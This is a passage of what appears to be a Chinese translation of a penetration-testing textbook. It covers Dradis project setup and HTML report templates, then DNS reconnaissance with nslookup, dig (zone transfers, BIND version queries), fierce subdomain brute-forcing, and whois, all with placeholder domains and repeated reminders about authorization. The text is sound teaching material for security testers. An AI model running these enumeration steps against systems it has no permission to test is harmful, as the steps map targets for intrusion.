单击初始化按钮继续。这将设置新密码并接受默认的 Meta-Server 选项。

现在您可以在登录字段中选择一个新的用户名。用户登录字段仅用于信息目的,不会影响工作区域。在密码字段中输入共享服务器密码。单击登录按钮后,您将看到 Dradis 的主要工作区。

Dradis 框架简介

我们将通过创建一个新的分支来设置我们的 Dradis 环境,以代表我们的渗透测试。这些分支允许您根据各种用户创建的标准来管理您的发现。

  1. 单击应用程序窗口顶部显示的添加分支按钮。

  2. 新的分支将准备好供您重命名。用PracticePenTest覆盖分支#2,然后按Enter

  3. 右键单击PracticePenTest,然后选择添加子项以开始您的层次结构。

  4. 尝试一下并添加额外的文件夹。开始考虑如何安排数据以便轻松访问和管理。

这是一个项目树的示例,可以在渗透测试期间用于数据收集:

Dradis 框架简介

导出项目模板

测试将包括一系列计划阶段和程序,这些阶段和程序在不同测试之间变化不大。为了充分利用这一事实,我们将创建一个可重复使用的模板。

选择PracticePenTest节点后,我们将单击顶部菜单栏中的导出图标。展开项目导出菜单后,我们看到作为模板选项。单击此选项将允许我们将项目模板保存到我们选择的位置,保存为.xml文件。

导出项目模板

将文件保存到您的 BackTrack 桌面文件夹,并保持dradis-template.xml的默认名称。返回到您的 Dradis Web 应用程序窗口,选择PracticePenTest节点,右键单击它,然后选择删除节点来删除它。

导入项目模板

PracticePenTest节点已经被删除,连同我们的其他数据一起。现在是我们重用它的时候了,所以我们需要导入dradis-template.xml文件。从菜单栏中单击从文件导入,然后选择旧导入器。从下拉菜单中选择项目模板上传,然后单击上传以完成导入序列,一旦刷新屏幕,我们现在有两个新文件夹:一个名为已上传文件,当然还有我们原来的PracticePenTest节点结构。

导入项目模板

准备导入的样本数据

为了充分体会 Dradis 框架的价值,我们将使用一些常用于渗透和漏洞测试的工具生成一些测试结果。您们大多数人可能对这些工具有一些了解,所以我们不会深入介绍它们。

我们需要做的第一件事是,如果尚未运行BT5_R1_Tester1实例,则将其启动起来。一旦您已登录 BackTrack 客户机并使用startx启动了图形用户界面,点击顶部栏中的终端图标开始一个新的终端会话。

为导入准备样本数据

提示

您可能已经注意到您正在以 root 用户身份运行。您将使用的许多工具需要管理员权限才能正常运行。

将目录更改为桌面,然后创建一个名为testData的新目录。这将用于存储我们将使用的少量导出。将当前工作目录更改为/桌面/testData

# cd Desktop/
# mkdir testData
# cd testData/ 

现在我们将使用 Nmap 生成数据,稍后将导入到 Dradis 中:

nmap -vv -O -sS -A -p- P0 -oA nmapScan 127.0.0.1 

该命令初始化 Nmap 针对本地主机运行,并指示将结果发送到三种文件类型:XML、标准和 grepable。由于未指定目录,文件将放置在当前工作目录中。我们正在对所有端口执行非常详细的 TCP SYN 扫描,包括 OS 和版本检测,命令将所有主机视为在线。

导入您的 Nmap 数据

在 Dradis Web 控制台打开并加载 PracticePenTest 项目树后,选择从文件导入,旧导入器,然后在从文件导入菜单中选择Nmap 上传格式,并单击选择文件:输入字段右侧的文件夹图标。浏览到并突出显示nmapScan.xml文件,然后单击打开

导入您的 Nmap 数据

单击上传将完成导入。处理数据需要一些时间。处理所需的时间与您拥有的数据量成正比。

导入您的 Nmap 数据

导入已将附加节点添加到我们的树中。可以通过使用鼠标左键拖动它将127.0.0.1扫描结果移动到PracticePenTest节点中的任何位置。通过将127.0.0.1扫描结果移动到 PracticePenTest 的逻辑层次结构中,现在可以轻松地将其与此渗透测试和其他相关数据关联起来。

导入您的 Nmap 数据

将数据导出到 HTML

使用这种类型的集中式数据收集的一个好处是,您可以在注释上设置某些标志,以便将数据导出为 PDF、MS Word 或 HTML 格式。

Dradis 已经启动运行,我们需要选择PracticePenTest节点,并在项目树右侧的工作区点击添加注释按钮。在弹出的编辑器中输入"This is a note",然后点击保存。这将把您的注释添加到列表中。

注意

这些注释对于您的渗透测试至关重要,应该经过深思熟虑并清晰地书写。避免使用只在当前上下文中有意义的注释,因为您可能需要在以后重新访问这些注释。

Dradis 分类字段

您并不总是希望将所有内容导出到报告格式中。为了解决这个问题,Dradis 开发团队添加了Category字段。该字段将标记要导出到各种可用格式中的数据。在这种情况下,我们将双击"This is a note."右侧列出的默认类别文本。从下拉菜单中选择HTMLExport ready选项。

Dradis 分类字段

要查看我们的数据,请在顶部工具栏上选择导出选项,然后单击HTML 导出。您将看到PracticePenTest笔记的 HTML 输出,这些笔记是项目树中HTMLExport类别的成员。

更改默认的 HTML 模板

正如您所看到的输出非常好,但是如果您想要一些更加定制化的东西呢?标准模板可以更改以定制导出的外观和感觉。以下是如何更改文档页脚的示例:

将当前工作目录更改为所选的导出插件。在这种情况下,我们将修改html_export/template.html.erb文件。

# cd /pentest/misc/dradis/server/vendor/plugins/html_export 

要修改template.html.erb,我们将使用 nano,一个非常强大且易于使用的文本编辑器。

# nano template.html.erb 

文件将显示在 Nano 文本编辑器中。如果需要参考,Nano 命令将列在应用程序底部。我们将看到组成template.html.erb文件的 HTML。通过在<title><%= title %></title>行下方的模板 HTML 中放置<h1>您可以更改此模板以满足您的需求。</h1>来对模板进行小修改。

<title><%= title %></title>
<h1>You can change this template to suite your needs.</h1>

使用Ctrl+O在 Nano 中保存更改,这将将文件写入磁盘。系统将询问您要使用的文件名;通过在键盘上按Enter接受默认值。

要查看您的更改生效,请返回 Dradis Web 控制台,选择PraticePenTest,然后单击工具栏菜单中的导出,然后单击HTML 导出。您的新模板将加载,并且您的更改将在报告导出中可见。模板非常可定制化,可以通过一些努力和 HTML 技能来实现您想要的外观和感觉。

提示

请注意,MS Word 导出功能需要您安装 MS Office。

这意味着我们无法使用 BackTrack 实例充分体验 Dradis 的功能。Word 模板可以轻松定制,包括您公司的信息,以您喜欢的格式列出数据,并向文档添加标准页脚和页眉。

由于 Dradis 非常便携,如果您需要将其导出到 MS Word,但又没有许可证来安装 BackTrack 中的 MS Office,可以在已安装 Microsoft Office 的 Windows 机器上安装 Dradis,从 BackTrack 导出 Dradis 项目,然后重新导入到 Windows 上的 Dradis 安装中。

摘要

在本章中,我们专注于为成功的渗透测试做好准备和规划所需的一切。我们讨论了渗透测试和漏洞评估之间的区别。

详细介绍了适当范围确定所涉及的步骤,以及确保在测试之前已收集到所有信息的必要步骤。要记住的一件事是,适当的范围确定和规划与确保您针对最新和最大的漏洞进行测试一样重要。

我们还讨论了 VirtualBox 和 BackTrack 的安装,并提供了安装 BackTrack 的 ISO 以及如何保持其更新所需的说明。除此之外,我们还提供了如何在 BackTrack 上安装 OpenOffice 的说明。

最后但同样重要的是,我们讨论了两个非常强大的工具,它们可以进行数据收集并提供报告功能。MagicTree 是一个强大的数据收集和分析工具,而 Dradis 则在集中数据收集和共享方面表现出色。

在下一章中,我们将了解各种侦察技术以及它们的必要性。其中一些包括有效使用互联网搜索引擎来查找公司和员工数据,操纵和阅读各种文件类型的元数据,以及充分利用 DNS 的功能,使渗透测试的任务更加容易。

第二章:高级侦察技术

可操作的信息是进行渗透测试的关键。互联网上可用的公共数据量庞大,筛选出有用的信息可能是一项艰巨的任务。幸运的是,有可用的工具可以帮助收集和整理这些丰富的知识。在本章中,我们将回顾其中一些工具,并重点介绍如何使用这些信息来确保您的渗透测试是高效、专注和有效的。主要涵盖的关键主题包括:

  • 侦察是什么,为什么我们需要它

  • 侦察类型

  • 使用 DNS 快速识别潜在目标

  • 使用搜索引擎数据

  • 利用元数据的优势

注意

在本章中,我们将使用由 IANA 拥有和维护的域名example.com,example.orgexample.net。不要将它们用于实践目的。

这些域名用作您拥有和/或获得使用权限作为测试目标的代表。理想情况下,您应该建立一个分割和受控的虚拟实验室,其中包括允许您随意测试所有这些命令的 DNS 服务器。

介绍侦察

当进行渗透测试时,了解被测试环境是最有效的。有时,公司会向您提供这些信息,而其他时候,您需要进行侦察以了解甚至最琐碎的事项。无论哪种情况,请确保在进行任何工作之前,包括侦察在内,都要在规则中明确范围。

许多公司并不知道攻击者可以在野外找到并使用的数据类型。渗透测试人员需要将这些信息披露出来。您将为企业提供他们可以根据其风险偏好采取行动的真实数据。您能够找到的信息会因目标而异,但通常包括 IP 范围、域名、电子邮件地址、公开财务数据、组织信息、使用的技术、职位名称、电话号码等等。有时,甚至可以找到机密文件或通过互联网公开获取的私人信息。在向组织的网络发送任何数据包之前,完全可以对一家公司进行全面的概况。

被动侦察阶段的主要目标是尽可能收集可操作的数据,同时留下尽可能少的迹象表明有人搜索了这些数据。

注意

被动侦察避免与目标网络直接接触。

获得的信息将用于重建您预期在测试中遇到的系统类型,提供执行有效社会工程攻击或物理入侵所需的信息,并确定是否存在使用默认用户名和密码的易受外部攻击的设备,如路由器或交换机。在高度安全的环境中,事情可能不会那么容易,但在进行渗透测试时不建议做出假设。在处理支持成千上万用户的复杂网络配置时,有时会忽视一些常识性的事情。

注意

本书中描述的侦察最接近于 PTES 的“情报收集”类别。

我们将专注于的侦察类型包括OSINT(开源情报)和足迹。我们使用的所有来源都是免费的,但重要的是要注意互联网上也有付费网站可供使用。

开源情报(OSINT):包括收集、处理和分析公开可用数据,并将其转化为可操作的信息。公开可用的数据来源包括但不限于:

  • 法院、税务表格等的公开数据

  • 搜索引擎

  • 会议

  • 学术来源

  • 博客

  • 研究报告

  • 图片、可执行文件、文档等的元数据

  • 公开可用文件

足迹:用于非侵入性地枚举网络环境。结果用于确定可能存在的漏洞位置,并提供有关目标网络上正在运行的系统、软件和服务类型的信息。在执行非侵入式足迹时可以获得的信息类型包括:

  • 域名服务器

  • IP 范围

  • 横幅

  • 操作系统

  • 确定是否使用 IDS/IPS

  • 使用的技术

  • 网络设备类型

这些丰富的信息在进行渗透测试时非常有用。

侦察工作流程

当进行程序化的侦察时,侦察最有效。在执行侦察时应遵循三个主要阶段:

侦察工作流程

作为如何使用这个工作流程的示例,让我们假设我们正在进行一项涉及虚构公司的渗透测试。这家公司有关于其外部路由器的公开信息。

  • 第一阶段:我们能够验证在初始规划阶段得到的 IP 范围实际上属于我们的客户。

  • 第二阶段:在筛选数据时,我们发现有几台路由器配置为默认状态,并且登录凭据从未被更改。我们验证信息的准确性并继续下一个阶段。

  • 第三阶段:根据收集到的验证信息,我们确定在网络上获得立足点的最佳方法是入侵外部路由器,然后从那里开始工作。

我们已经演示了如何使用这个工作流程的简化示例。在现实世界中,将有许多变量影响您决定攻击哪些系统。在测试的侦察阶段收集的信息将是您的渗透测试成功和彻底程度的决定因素。

DNS 侦察

域名系统(DNS)在侦察阶段可以提供有价值的数据。如果您还不了解 DNS,您可能需要花些时间来了解该服务以及它的工作原理。在非常基本的水平上,DNS 用于将域名转换为 IP 地址。幸运的是,有许多可用的工具非常擅长从域名服务器中提取我们需要的数据。您可以收集的信息示例包括:

记录 描述
CNAME 别名,用于将多个名称与单个 IP 联系起来。一个 IP 地址可以有多个与之关联的 CNAME 记录。
A 用于将域名或子域名转换为 32 位 IP 地址。它还可以存储其他有用的信息。
MX 将域名与关联的邮件服务器联系起来。

还有其他类型的记录可以从 DNS 工具中收集;表中列出的记录是最受欢迎的,通常也是最有用的。

注意

DNS 侦察被认为是主动足迹,因为您需要与客户拥有的资产进行交互以获取信息。

Nslookup — 当你需要它时它就在那里

nslookup是一个 DNS 查询工具,可用于从域名解析 IP 地址,或反之亦然。该工具用于查询任何给定的域名服务器以获取特定记录。虽然nslookup不是我们测试工具包中最强大的 DNS 工具,但您可以依赖它在需要时已安装。nslookup是跨平台的,并且大多数操作系统都预装了它。

注意

在接下来的示例中,我们修改了命令输出以最大化学习体验。

我们打算帮助您理解输出的格式和含义。在许多情况下,我们已经用example.com/net/org替换了原始域名,并使用了虚构的 IP 地址(通常是不可路由的 IP)。不要期望直接复制输出,而是专注于所描述的概念,然后在您有适当权限进行测试的域名和服务器上练习这些步骤。

默认输出

要快速查找域名example.com的 IP 地址,我们在 BackTrack 终端会话中输入以下内容:

# nslookup example.com 

你将会看到以下格式的输出:

Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: example.com
Address: 127.1.72.107

8.8.8.8处的服务器是由 Google™提供的公共 DNS 服务器。在进行请求时使用的是#53 UDP 端口。上面的示例输出表明example.com解析为127.1.72.107

注意

任何以 127.x.x.x 开头的 IP 地址都将被重定向到本地主机。在查看 DNS 记录和选择潜在目标时要注意这一点。

更改域名服务器

可以通过使用替代 DNS 域名服务器来验证结果。在下面的示例中,我们将 DNS 域名服务器更改为156.154.70.22,这是 Comodo Secure DNS®提供的一个域名服务器的 IP 地址,用于向公众提供安全浏览。在进行测试时,拥有几个公共可用的 DNS 服务器列表是有益的。当处理受损的 DNS 服务器时,这些可以用作一种理智检查。我们还查询与example.com相关的域名服务器:

root@bt:~# nslookup
> server
Default server: 8.8.8.8
Address: 8.8.8.8#53
Default server: 8.8.4.4
Address: 8.8.4.4#53
> server 156.154.70.22 
Default server: 156.154.70.22
Address: 156.154.70.22#53
> set type=ns
> example.com
Server: 156.154.70.22
Address: 156.154.70.22#53
Non-authoritative answer:
example.com nameserver = ns51.example.com.
example.com nameserver = ns52.example.com.

这个示例是通过初始化nslookup开始的,然后从 nslookups 命令控制台内建立变量。我们首先输入server,显示了当前值为8.8.8.8。之后,我们确定要使用不同的服务器,因此我们输入了server 156.154.70.22,因为我们特别关注example.com的域名服务器。我们通过输入set type=ns来定义类型为ns(域名服务器)。

一旦变量设置好了,我们可以通过输入名称,比如example.com,然后按下Enter键来查询无数个域名。

注意

要离开控制台,输入exit,然后按下Enter键。

到目前为止,我们所做的一切都可以简化为一个单一的命令行:

root@bt:~# nslookup -type=ns example.com 156.154.70.22 

我们调用了nslookup,使用了type=ns的选项来获取相关的域名服务器,提供了我们想要信息的域名example.com,最后,我们指定要使用156.154.70.22作为我们的解析 DNS 域名服务器。这将产生以下输出:

Server: 156.154.70.22
Address: 156.154.70.22#53
Non-authoritative answer:
example.com nameserver = ns51.example.com.
example.com nameserver = ns52.example.com.

提示

每当执行命令行工具时,输出都可以发送到文件以供以后查看。一旦开始编写自己的脚本来自动化测试,这一点尤为重要。例如,nslookup example.com > example-resolv.txt

创建自动化脚本

如前所述,nslookup是一个很好的选择,因为它通常预装在所有平台上。例如,如果您正在使用一个枢纽点,您可以放心,这是一个默认可用的工具。由于nslookup可以从单个命令行提示符中运行,因此您可以轻松地创建一个自动化提取有关许多域名或主机名信息的脚本,然后将输出放入文本文件中。

  1. 在 BackTrack 中,打开一个终端会话,输入nano AutoM8,然后按下Enter键。

  2. 在 nano 编辑器中,输入以下代码,我们使用#!/bin/sh来启动bourne shell,将DomainNames.txt文件中的每个行项目解析为HOSTNAME变量,然后输出字符串"Getting name servers for",接着是当前正在解析的HOSTNAME。然后我们使用nslookup命令来使用我们指定的公共域名服务器8.8.8.8执行域名服务器查找:

#!/bin/sh
for HOSTNAME in `cat DomainNames.txt``
do
echo "Getting name servers for [$HOSTNAME]"
nslookup -type=ns $HOSTNAME 8.8.8.8
done

  1. 按下Ctrl + O,然后按Enter确认保存您的数据。

  2. 按下Ctrl + X退出返回到终端屏幕。

  3. 键入nano DomainNames.txt

  4. nano中输入以下内容:

注意

在以下列表中使用的example.com/net/org域名的地方,用您有权限测试的替代域名!!!

example.com
example.net
example.org

  1. 按下Ctrl + O,然后按Ctrl + X保存文件。

  2. 在终端中,我们需要通过输入以下命令使AutoM8文件可执行:

# chmod +x AutoM8 

  1. 现在输入以下命令运行AutoM8脚本:
# ./AutoM8 

  1. 您应该看到类似以下格式的输出:
root@bt:~# ./AutoM8 
"Getting name servers for [example.com]"
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
example.com nameserver = ns52.example.com.
example.com nameserver = ns51.example.com.
Authoritative answers can be found from:
"Getting name servers for [example.net]"
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
example.net nameserver = ns51.example.com.
example.net nameserver = ns52.example.com.
Authoritative answers can be found from:
"Getting name servers for [example.org]"
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
example.org nameserver = ns52.example.com.
example.org nameserver = ns51.example.com.

  1. 现在输入:
# ./AutoM8 > NameServerListing.txt
# cat NameServerListing.txt

您现在已经创建了一个名为AutoM8的简单脚本,可以用来将输出附加到任何您喜欢的文件中。我们通过使用cat来查看NameServerListing.txt文件已经验证了这一点。

提示

挑战自己,使以前的代码更加高效和可重用。本书中您将学到的几种工具可以以这种方式自动化。尝试使用grepawk以更清晰的方式解析出您的结果。

理想情况下,您将使用具有 XML 输出的工具,以便结果可以轻松导入到 MagicTree 或 Dradis 中,但是在日常进行渗透测试时,您将想要知道如何为自己的特殊需求创建一些基本工具。Shell 脚本可以非常强大;对于许多渗透测试人员来说,首选工具是 Python,它甚至更好。

注意

每个渗透测试人员都应该至少了解一种基本的脚本语言。

我们学到了什么?

如果您查看各种示例的输出,您应该注意我们已经对目标有了很多了解。我们知道使用了哪些域名服务器,并且我们知道所有三个域名都使用相同的域名服务器。我们还验证了我们拥有的域名解析为某些 IP 地址。这是在渗透测试的后期阶段非常有用的数据。现在让我们继续使用我们手头的更强大的工具。

域信息探测器(Dig)

域信息探测器(Dig)nslookup的一个强大替代品。它具有运行命令行选项或者可以直接将文件传送到其中进行多次查找的功能。Dig 将使用/etc/resolve.conf文件来循环遍历您的域名服务器,除非指定了域名服务器。Dig 有一个非常长的选项列表,可以用来准确地获取您所寻找的内容。

提示

有一个网站www.digwebinterface.com/向公众提供了 dig 功能。

默认输出

要启动 BackTrack 的基本命令,请在终端命令行中输入dig example.com。以下是在作者拥有的域上运行此命令的示例。

注意

您的命令输出可能会因您所针对的域而有所不同。

如果您跟随命令,您将用您拥有或有权限测试的域名替换example.com

root@bt:~# dig example.com 
; <<>> DiG 9.7.0-P1 <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;example.com. IN A
;; ANSWER SECTION:
example.com. 78294 IN A 10.1.1.1
;; Query time: 32 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun *** * **:**:** ****
;; MSG SIZE rcvd: 45

这个冗长的输出指示了 Dig 的版本,哪些全局选项是默认选择的,是否有任何错误,当然example.comA记录包含10.1.1.1。我们还了解到当前使用的域名服务器在8.8.8.8。此外,我们还提供了查询运行的时间,这在以后整理数据时非常有用。DNS 记录可以更改,具有 Dig 以前运行的日期戳可能很有用。

让我们深入挖掘一下。我们将提取example.com域的所有记录:

# dig +qr www.example.com any 

这将提取example.com域的所有可用 DNS 记录,因为有any选项,并且+qr开关将打印出站查询。结果将包括头部和页脚数据,如前所述,但还将列出以下记录:

;; QUESTION SECTION:
;www.example.com. IN ANY
;; ANSWER SECTION:
example.com. 86400 IN NS ns1.example.com.
example.com. 86400 IN MX 10 mx111.example.com.
example.com. 86400 IN A 127.208.72.107
example.com. 86400 IN NS ns2.example.com.
example.com. 86400 IN SOA ns2.example.com. hostmaster.example.com. 2011020501 28800 7200 604800 86400
example.com. 86400 IN MX 10 mx99.example.com.

使用 Dig 进行区域传输

区域传输(AXFR)将允许你一次从域名服务器中拉取整个记录集。如果成功,你将得到一个简单命令的所有关于域名服务器的信息列表。在安全环境中,区域传输几乎不可能被启用,因为它会给攻击者提供大量有关主机名和其他信息的数据。现在我们将回顾在域example.com上执行区域传输所需的步骤。与本书中讨论的所有内容一样,你需要有适当的权限来为你的客户执行这种类型的活动。

  1. 打开一个 BackTrack 终端窗口。

  2. 输入以下内容并按Enter

# dig @ns1.example.com example.com axfr 

  1. 审查结果:
; <<>> DiG 9.7.0-P1 <<>> @ns1.example.com example.com axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

我们的结果表明传输失败了。在这种情况下,域名服务器的管理员已经正确地禁用了执行区域传输的能力。现在我们将尝试同一域上的另一个域名服务器,看看它是否也禁用了区域传输。

  1. 类型:
# dig @ns16.example.com example.com axfr 

  1. 审查结果:
; <<>> DiG 9.7.0-P1 <<>> @ns16.zoneedit.com example.com axfr
; (1 server found)
;; global options: +cmd
example.com. 7200 IN SOA ns16.zoneedit.com. soacontact.zoneedit.com. 2011409732 2400 360 1209600 300
example.com. 7200 IN NS ns14.zoneedit.com.
example.com. 7200 IN NS ns16.zoneedit.com.
mail.example.com. 300 IN MX 1 mail1.example.com.
testmachine.example.com. 300 IN A 192.168.1.1
irc.example.com. 300 IN A 192.168.1.1
mail1.example.com. 300 IN A 192.168.1.1
note.example.com. 300 IN TXT "This is an example of a note"
example.com. 7200 IN SOA ns16.zoneedit.com. soacontact.zoneedit.com. 2011409732 2400 360 1209600 300
;; Query time: 383 msec
;; SERVER: 69.64.68.41#53(69.64.68.41)
;; WHEN: Wed Oct 12 16:04:17 2011
;; XFR size: 10 records (messages 10, bytes 579)

在审查为example.com拉取的记录时,我们发现了几个有趣的地方。看起来example.com有几个子域名指向同一个 IP 地址。如果这个站点不是严格作为一个例子设置的话,你将会得到真实的 IP 地址,可以枚举系统。此外,还有一个包含琐碎信息的 TXT 记录。此外,可以说命名约定既不一致又具有信息量。

注意

非常重要的是,所有你的域名服务器都被限制只向受信任的服务器提供区域传输,或者完全禁止区域传输。

如果你想了解更多关于区域传输的信息,我强烈建议你查看zonetransfer.me,它会将你重定向到www.digininja.org/projects/zonetransferme.php。该网站的所有者已经非常详细地介绍了区域传输的工作原理。

Dig 的高级功能

我们已经讨论了 dig 的基本用法。现在我们将涉及这个工具的更高级用法。

缩短输出

Dig 是多功能的,可以让你以许多不同的输出格式提取数据。

我们可以通过使用+ nocmd来消除输出的命令信息部分。它必须在域名之前才能生效。

  • noall 通知 dig 我们不希望显示标志作为命令输出的一部分。

+ answer可以切换为只显示答案部分。

root@bt:~# dig +nocmd +noall +answer example.com 

这将导致以下输出:

example.com. 44481 IN A 192.168.1.10

本节讨论的任何选项都可以在缩短输出结果时使用。这使得可以轻松使用诸如awkgrep之类的工具来进一步操作你的结果。

列出 bind 版本

这个命令将允许你确定域名服务器正在运行的 bind 版本,除非它已经被服务器管理员专门限制或更改。记得用你有权限使用的域名服务器替换example.com

# dig +nocmd txt chaos VERSION.BIND @ns1.example.com +noall +answer 

这将导致以下输出:

VERSION.BIND. 0 CH TXT "8.4.X"

我们已经确定这个特定的域名服务器正在运行 bind 8.4.X。这些信息在枚举漏洞时可能非常有价值。

使用 Dig 进行反向 DNS 查找

有时需要将 IP 地址解析为域名。无需切换回nslookup来执行此任务,只需输入:

# dig +nocmd +noall +answer -x 192.168.0.1 

你的输出会看起来像这样:

10.0.0.1.in-addr.arpa. 8433 IN PTR 43-10.any.example.org.

前面的命令让我们确定了与192.168.0.1相关联的域名。

多个命令

我们可以使用 dig 链式命令。在下面的例子中,我们使用我们缩短的输出格式来为我们提供example.comexample.netA记录,然后请求对192.0.43.10进行反向查找。

# dig +nocmd +noall +answer example.com example.net -x 192.168.1.10 

结果输出如下(在此输出中,域名已被替换为example.org):

example.com. 37183 IN A 192.168.1.10
example.net. 54372 IN A 192.168.10.11
10.0.0.1.in-addr.arpa. 6937 IN PTR 43-10.any.example.org.

跟踪路径

如果您想查看 dig 解析域名所采取的路由,可以使用以下命令+trace选项:

# dig +trace example.com 

使用 dig 进行批处理

不必像使用nslookup时那样编写循环脚本来评估文件中的域名列表,dig 可以使用-f选项。我们可以使用 dig 命令格式来执行这些批处理作业。

  1. 我们将首先使用 BackTrack 中包含的 nano 文本编辑器创建一个新的 TXT 文件。在 BackTrack 中打开终端 shell,然后键入nano digginIt.txt

  2. 在 nano 中键入以下代码。请注意,每个命令都需要单独一行才能正常运行:

+nocmd +noall +answer example.com
+nocmd +noall +answer example.net
+nocmd +noall +answer example.org ns

  1. 按下Ctrl + O保存文件。

  2. 按下Ctrl + X退出返回到终端。

  3. 使用 dig 命令调用:

# dig -f digginIt.txt 

结果将显示在屏幕上:

example.com. 33996 IN A 192.168.1.10
example.net. 51185 IN A 192.168.1.10
example.org. 82826 IN NS a.example.net.
example.org. 82826 IN NS b.example.net.

我们已成功创建并执行了一个 dig 批处理作业。这可以用于许多用途,包括创建和检查基线,从一个渗透测试到下一个执行重复任务,或者简单地跟踪用于执行您的侦察的命令。存储用于批处理作业的文本文件,以便以后验证结果。

使用 fierce 进行 DNS 暴力破解

在安全环境中,DNS 暴力破解很可能是确定非连续 IP 空间中使用哪些主机的最佳选择。BackTrack 包含几个工具来满足这种需求。我们将讨论由 RSnake 创建的 fierce,它在 DNS 暴力破解方面快速高效。它将从确定域的 IP 地址开始,查找相关的名称服务器,然后逐个查找您的字典单词列表。该工具提供了一个示例单词列表,可用于测试,但您应尽快用更符合您需求的字典单词替换或补充它。

默认命令用法

在 BackTrack 中,我们将打开一个终端会话,并切换到fierce.pl perl 脚本所在的目录:

# cd /pentest/enumeration/dns/fierce 

fierce.pl包含一个可以使用的帮助部分:

# ./fierce.pl -h 

使用 fierce 的最基本方法是使用:

# ./fierce.pl -dns example.com 

这将导致类似以下的输出:

DNS Servers for example.com:
ns1.example.net
ns2.example.net
Trying zone transfer first...
Testing ns1.example.net
Request timed out or transfer not allowed.
Testing ns2.example.net
Request timed out or transfer not allowed.
Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force
Checking for wildcard DNS...
Nope. Good.
Now performing 1895 test(s)...

此输出表明首先要做的是查找example.com域的名称服务器。下一步是检查服务器,看看是否可以执行区域传输。正如我们之前学到的,区域传输将通过一个命令从服务器提取所有已知的域信息。如果可以一次性提取整个记录集,就不需要暴力破解域名。

一些域包括通配符 DNS 记录。这将导致任何您使用的子域都会被解析,无论它是否存在。在这种情况下,没有找到通配符 DNS 条目。

运行的测试次数将取决于您提供的单词列表中有多少单词。由于在前面的示例中没有指定要使用哪个列表,默认情况下将使用 Backtrack 上/fierce目录中的hosts.txt

在这里,fierce.pl用于允许区域传输的域:

# ./fierce.pl -dns example.com 

在这种情况下,工具的暴力破解功能是不必要的,因此未初始化。有关详细信息,请参阅以下结果:

DNS Servers for example.com:
ns14.zoneedit.com
ns16.zoneedit.com
Trying zone transfer first...
Testing ns14.zoneedit.com
Whoah, it worked - misconfigured DNS server found:
example.com. 7200 IN SOA ns16.zoneedit.com. soacontact.zoneedit.com. (
2011413884 ; Serial
2400 ; Refresh
360 ; Retry
1209600 ; Expire
300 ) ; Minimum TTL
example.com. 7200 IN NS ns14.zoneedit.com.
example.com. 7200 IN NS ns16.zoneedit.com.
example.com. 300 IN A 192.168.1.1
mail.example.com. 7800 IN MX 10 mail1.example.com.
testmachine.example.com. 300 IN A 192.168.1.1
irc.example.com. 300 IN A 192.168.1.1
mail1.example.com. 300 IN A 192.168.1.1
note.example.com. 300 IN TXT "This is an example of a DNS text record."
www.example.com. 300 IN A 192.168.1.1
There isn't much point continuing, you have everything.
Have a nice day.
Exiting...

查看结果,我们可以看到fierce.pl指示此设置是一个错误配置,这应该是另一个指示,即不建议在任何情况下允许开放的 AXFR。

创建自定义单词列表

如果我们已经知道要检查什么,或者我们有一个更适合的单词列表,因为我们了解正在测试的站点的命名约定,那么建议制作自定义单词列表。

  1. 使用nano myWordList.txt打开 Nano。

  2. 键入以下内容:

irc
mail
mail1
testmachine1
testmachine
www
www1
ns

  1. 按下Ctrl + O,然后按Enter,将文件写入myWordList.txt

  2. 按下Ctrl + X退出返回到终端 shell。

现在我们已经创建了名为myWordList.txt的自定义单词列表,让我们试试:

# ./fierce.pl dns example.com wordlist myWordList.txt 

短暂延迟后,我们将看到以下输出:

DNS Servers for example.com:
ns14.zoneedit.com
ns16.zoneedit.com
Trying zone transfer first...
Testing ns14.zoneedit.com
Request timed out or transfer not allowed.
Testing ns16.zoneedit.com
Request timed out or transfer not allowed.
Unsuccessful in zone transfer (it was worth a shot)
Okay, trying the good old fashioned way... brute force
Checking for wildcard DNS...
Nope. Good.
Now performing 9 test(s)...
192.168.1.1 irc.example.com
192.168.1.1 mail1.example.com
192.168.1.1 testmachine.example.com
192.168.1.1 www.example.com
192.168.1.1 .example.com
Subnets found (may want to probe here using nmap or unicornscan):
192.168.1.1-255 : 5 hostnames found.
Done with Fierce scan: http://ha.ckers.org/fierce/
Found 5 entries.
Have a nice day.

尽管该服务器不再允许我们使用区域传输,但我们仍然能够通过良好的单词列表映射出几个子域。

当无法执行区域传输时,仍然可以使用其他方法有效地枚举网络上的子域和主机名。内部 DNS 名称服务器将能够为您提供大量信息,以后可以用来评估网络的漏洞,并最终用来利用环境。fierce.pl是我们渗透测试工具库中非常有用的补充,可以用来完成比简单的 DNS 暴力破解更多的工作。

收集和验证域和 IP 信息

当个人或公司实体注册域名时,会收集大量信息。根据注册隐私设置,您可以收集这些信息并用于验证您的 IP 空间,查找同一人或公司拥有的其他网站的信息,甚至关键员工的电话号码和地址。这种侦察被认为是被动的,因为它不直接联系客户拥有的资产来获取信息。

我们需要找到已注册域名的注册商以获取有用的信息。以下是一些顶级注册商的列表。

AFRINIC www.afrinic.net
APNIC www.apnic.net
ARIN ws.arin.net
IANA www.iana.com
ICANN www.icann.org
LACNIC www.lacnic.net
NRO www.nro.net
RIPE www.ripe.net
InterNic www.internic.net

使用 whois 收集信息

可以使用whois找到域名和 IP 空间注册信息。

注意

在使用whois时,请注意您需要遵守的具体限制和规则。例如,您不允许自动化查询或将结果用于商业或个人利益。运行简单的whois example.com查询时,请阅读出现的法律文本标题。请注意警告并遵守规则。

whois 的最基本用法如下:

# whois example.com 

这将快速查找example.com域并为您提供以下信息:

  • Whois 使用协议和法律标题

  • 域名

  • 注册域名的注册商

  • 使用的 whois 服务器

  • 与域相关的主要 DNS 名称服务器

  • 域名创建和到期日期

  • 注册人信息,如名字、姓氏、组织、实际地址、电话号码和电子邮件地址

  • 分配的域管理员信息,如名字、姓氏、组织、实际地址、电话号码和电子邮件地址

  • 域账单联系信息,如名字、姓氏、组织、实际地址、电话号码和电子邮件地址

